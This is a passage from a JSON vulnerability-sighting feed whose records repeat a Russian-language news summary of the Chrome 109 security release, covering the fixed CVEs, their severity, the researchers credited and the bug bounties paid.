\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 4000 \u0438 2000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n\u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0431\u044b\u043b\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432\u043e\u0441\u0435\u043c\u044c \u043e\u0448\u0438\u0431\u043e\u043a \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u044f\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Chrome, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a API, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0430 Iframe \u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439.\n\n\u041e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u0440\u0437\u0438\u043d\u0435 \u0438 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Platform Apps.\n\nChrome 109 \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0438\u0437\u0432\u043d\u0435.\n\nGoogle \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0441\u0430\u043c\u0430\u044f \u0432\u044b\u0441\u043e\u043a\u0430\u044f \u043d\u0430\u0433\u0440\u0430\u0434\u0430 \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u044b\u043b\u0430 \u0432\u044b\u043f\u043b\u0430\u0447\u0435\u043d\u0430 \u0437\u0430 \u043e\u0434\u043d\u0443 \u0438\u0437 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u043d\u0438\u0437\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 - CVE-2023-0138, \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 libphonenumber.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 8000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0430\u043c\u0430\u044f \u0432\u044b\u0441\u043e\u043a\u0430\u044f \u043d\u0430\u0433\u0440\u0430\u0434\u0430 \u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0443 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 5000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432.\n\n\u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 39 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0438\u043c \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445, \u043d\u043e \u043e\u043a\u043e\u043d\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u0443\u043c\u043c\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u0448\u0435, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0435\u0449\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u0438\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u043e\u0434\u043d\u0443 \u0438\u0437 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\nChrome \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 109.0.5414.74 \u0434\u043b\u044f Linux, 109.0.5414.74/.75 \u0434\u043b\u044f Windows \u0438 109.0.5414.87 \u0434\u043b\u044f macOS.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043d\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u043b \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.", "creation_timestamp": "2023-01-12T14:20:07.000000Z"}, {"uuid": "092e06bf-e3ee-4e72-bd25-f3a21f40222c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0128", "type": "seen", "source": "https://t.me/true_secator/3930", "content": "Google \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 Chrome 109 \u0432 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u043c \u043a\u0430\u043d\u0430\u043b\u0435 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 17 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 14 \u043e\u0448\u0438\u0431\u043e\u043a, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438.\n\n\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043d\u0438\u0445\u00a0\u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0438 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043e\u0431\u0437\u043e\u0440\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435 (CVE-2023-0128) \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u0435 (CVE-2023-0129).\n\n\u041f\u0435\u0440\u0432\u0443\u044e 16 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 2022 \u0433\u043e\u0434\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440 \u0425\u0430\u043b\u0438\u043b \u0416\u0430\u043d\u0438, \u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0438\u043b Asnine 7 \u043d\u043e\u044f\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430.\n\nGoogle \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 \u0438\u043c \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 4000 \u0438 2000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n\u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0431\u044b\u043b\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432\u043e\u0441\u0435\u043c\u044c \u043e\u0448\u0438\u0431\u043e\u043a \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u044f\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Chrome, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a API, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0430 Iframe \u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439.\n\n\u041e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u0440\u0437\u0438\u043d\u0435 \u0438 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Platform Apps.\n\nChrome 109 \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0438\u0437\u0432\u043d\u0435.\n\nGoogle \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0441\u0430\u043c\u0430\u044f \u0432\u044b\u0441\u043e\u043a\u0430\u044f \u043d\u0430\u0433\u0440\u0430\u0434\u0430 \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u044b\u043b\u0430 \u0432\u044b\u043f\u043b\u0430\u0447\u0435\u043d\u0430 \u0437\u0430 \u043e\u0434\u043d\u0443 \u0438\u0437 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u043d\u0438\u0437\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 - CVE-2023-0138, \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 libphonenumber.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 8000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0430\u043c\u0430\u044f \u0432\u044b\u0441\u043e\u043a\u0430\u044f \u043d\u0430\u0433\u0440\u0430\u0434\u0430 \u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0443 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 5000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432.\n\n\u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 39 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0438\u043c \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445, \u043d\u043e \u043e\u043a\u043e\u043d\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u0443\u043c\u043c\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u0448\u0435, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0435\u0449\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u0438\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u043e\u0434\u043d\u0443 \u0438\u0437 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\nChrome \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 109.0.5414.74 \u0434\u043b\u044f Linux, 109.0.5414.74/.75 \u0434\u043b\u044f Windows \u0438 109.0.5414.87 \u0434\u043b\u044f macOS.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043d\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u043b \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.", "creation_timestamp": "2023-01-12T14:20:07.000000Z"}, {"uuid": "edfb5170-5cc3-4f31-81db-1a522763dd7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0138", "type": "seen", "source": "https://t.me/true_secator/3930", "content": "Google \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 Chrome 109 \u0432 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u043c \u043a\u0430\u043d\u0430\u043b\u0435 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 17 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 14 \u043e\u0448\u0438\u0431\u043e\u043a, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438.\n\n\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043d\u0438\u0445\u00a0\u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0438 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043e\u0431\u0437\u043e\u0440\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435 (CVE-2023-0128) \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u0435 (CVE-2023-0129).\n\n\u041f\u0435\u0440\u0432\u0443\u044e 16 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 2022 \u0433\u043e\u0434\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440 \u0425\u0430\u043b\u0438\u043b \u0416\u0430\u043d\u0438, \u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0438\u043b Asnine 7 \u043d\u043e\u044f\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430.\n\nGoogle \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 \u0438\u043c \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 4000 \u0438 2000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n\u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0431\u044b\u043b\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432\u043e\u0441\u0435\u043c\u044c \u043e\u0448\u0438\u0431\u043e\u043a \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u044f\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Chrome, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a API, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0430 Iframe \u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439.\n\n\u041e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u0440\u0437\u0438\u043d\u0435 \u0438 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Platform Apps.\n\nChrome 109 \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0438\u0437\u0432\u043d\u0435.\n\nGoogle \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0441\u0430\u043c\u0430\u044f \u0432\u044b\u0441\u043e\u043a\u0430\u044f \u043d\u0430\u0433\u0440\u0430\u0434\u0430 \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u044b\u043b\u0430 \u0432\u044b\u043f\u043b\u0430\u0447\u0435\u043d\u0430 \u0437\u0430 \u043e\u0434\u043d\u0443 \u0438\u0437 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u043d\u0438\u0437\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c 